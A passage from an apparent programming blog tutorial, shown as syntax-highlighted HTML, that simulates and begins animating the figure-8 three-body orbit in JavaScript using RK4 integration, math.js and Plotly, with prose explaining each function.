<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">vx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">vy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">];</span>

<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">delta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">clone</span><span class="p">(</span><span class="nx">coords</span><span class="p">);</span>

<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="nx">xn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">n</span><span class="p">];</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="nx">yn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">n</span><span class="p">];</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="nx">deltaVx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.0</span><span class="p">;</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="nx">deltaVy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.0</span><span class="p">;</span>

<span class="w">        </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">!==</span><span class="w"> </span><span class="nx">n</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="kd">let</span><span class="w"> </span><span class="nx">sep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">xn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">yn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="mf">2</span><span class="p">));</span><span class="w"> </span><span class="c1">// Euclidean distance</span>
<span class="w">                </span><span class="nx">deltaVx</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">xn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">sep</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="p">);</span>
<span class="w">                </span><span class="nx">deltaVy</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">yn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">sep</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="p">);</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">        </span><span class="p">}</span>

<span class="w">        </span><span class="nx">delta</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">n</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">deltaVx</span><span class="p">;</span>
<span class="w">        </span><span class="nx">delta</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">n</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">deltaVy</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="nx">delta</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vx</span><span class="p">;</span>
<span class="w">    </span><span class="nx">delta</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vy</span><span class="p">;</span>

<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nx">delta</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k2</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>

<span class="w">    </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k2</span><span class="p">),</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">k4</span><span class="p">),</span><span class="w"> </span><span class="mf">1</span><span class="o">/</span><span class="mf">6</span><span class="p">));</span>

<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nx">coords</span><span class="p">;</span>
<span class="p">}</span>

<span class="w">    </span><span class="c1">// Initial conditions setup</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">M</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">1</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">0.97000436</span><span class="p">,</span><span class="w"> </span><span class="mf">0.0</span><span class="p">,</span><span class="w"> </span><span class="mf">0.97000436</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">0.24208753</span><span class="p">,</span><span class="w"> </span><span class="mf">0.0</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mf">0.24208753</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">vx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">0.4662036850</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mf">0.933240737</span><span class="p">,</span><span class="w"> </span><span class="mf">0.4662036850</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">vy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">0.4323657300</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mf">0.86473146</span><span class="p">,</span><span class="w"> </span><span class="mf">0.4323657300</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">Ei</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">0.97000436</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">0.24208753</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">))</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">0.97000436</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">0.24208753</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">))</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.5</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">sum</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">dotPow</span><span class="p">(</span><span class="nx">vx</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">),</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">dotPow</span><span class="p">(</span><span class="nx">vy</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">))));</span>

<span class="w">    </span><span class="kd">function</span><span class="w"> </span><span class="nx">linspace</span><span class="p">(</span><span class="nx">start</span><span class="p">,</span><span class="w"> </span><span class="nx">stop</span><span class="p">,</span><span class="w"> </span><span class="nx">num</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">const</span><span class="w"> </span><span class="nx">step</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">stop</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">start</span><span class="p">)</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">num</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">num</span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">step</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">i</span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">y</span><span class="p">,</span><span class="w"> </span><span class="nx">vx</span><span class="p">,</span><span class="w"> </span><span class="nx">vy</span><span class="p">];</span>
<span class="w">    </span><span class="kd">const</span><span class="w"> </span><span class="nx">time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">linspace</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">6.3259</span><span class="p">,</span><span class="w"> </span><span class="mf">1001</span><span class="p">);</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">deltaT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>

<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">X</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">Y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">VX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">VY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>

<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">M</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w">        </span><span class="nx">X</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w">        </span><span class="nx">Y</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w">        </span><span class="nx">VX</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">VX</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w">        </span><span class="nx">VY</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">VY</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w">    </span><span class="p">}</span>
</code></pre>
</div>

<p>The <code>deltaR</code> function computes the rate of change in position and velocity of the celestial bodies based on their current positions, velocities, and masses. It accounts for the gravitational forces between all bodies.</p>

<p>The <code>step</code> function performs a single RK4 integration step, updating the positions and velocities of the celestial bodies. It uses <code>deltaR</code> to compute the four increments (k1, k2, k3, and k4) and then updates the coordinates accordingly.</p>

<p>Next, the initial conditions for the figure-8 three-body problem are set. The masses (<code>M</code>), initial positions (<code>x</code>, <code>y</code>), and initial velocities (<code>vx</code>, <code>vy</code>) are provided. <code>Ei</code> calculates the initial total energy of the system.</p>

<p>The <code>linspace</code> function is defined to create a linearly spaced array of time points. <code>coords</code> is an array containing the positions and velocities for all bodies. The <code>time</code> array is created using <code>linspace</code>, and <code>deltaT</code> is set as the time step.</p>

<p><code>X</code>, <code>Y</code>, <code>VX</code>, and <code>VY</code> are 2D arrays that will store the positions and velocities of the celestial bodies over time. They are initialized with zeros and will be updated in the loop.</p>

<p>Finally, a loop iterates over each time step, updating the positions and velocities of the celestial bodies using the <code>step</code> function. The updated coordinates are stored in the <code>X</code>, <code>Y</code>, <code>VX</code>, and <code>VY</code> arrays.</p>

<h3 id="animation">Animation?</h3>

<p>Now that we have time-series data, we need to animate it. We can use Plotly's animate function, as this does not force a full re-render, saving us some precious GPU and CPU cycles when we are trying to run this in the browser itself</p>

<div class="codehilite">
<pre><span></span><code><span class="w">    </span><span class="kd">function</span><span class="w"> </span><span class="nx">plotClassicFunc</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">tailLength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span><span class="p">;</span>
<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">tailLength</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nx">tailLength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w">      </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w">      </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">tailLength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">tailLength</span><span class="p">;</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">currentIndex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">plotIndex</span><span class="p">;</span>

<span class="w">     </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w">         </span><span class="nx">time</span><span class="p">[</span><span class="nx">currentIndex</span><span class="p">].</span><span class="nx">toFixed</span><span class="p">(</span><span class="mf">3</span><span class="p">);</span>
<span class="w">      </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">currentIndex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">       </span><span class="kd">const</span><span class="w"> </span><span class="nx">data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span>
<span class="w">        </span><span class="p">{</span>
<span class="w">            </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w">            </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w">            </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;lines+markers&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;star&#39;</span><span class="p">,</span>
<span class="w">                </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">8</span><span class="p">,</span>
<span class="w">                </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">},</span>
<span class="w">            </span><span class="p">},</span>
<span class="w">            </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span>
<span class="w">            </span><span class="p">},</span>
<span class="w">            </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">,</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">        </span><span class="p">{</span>
<span class="w">            </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w">            </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w">            </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;lines+markers&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;star&#39;</span><span class="p">,</span>
<span class="w">                </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">8</span><span class="p">,</span>
<span class="w">                </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">},</span>
<span class="w">            </span><span class="p">},</span>
<span class="w">            </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span>
<span class="w">            </span><span class="p">},</span>
<span class="w">            </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">,</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">        </span><span class="p">{</span>
<span class="w">            </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="mf">2</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w">            </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="mf">2</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
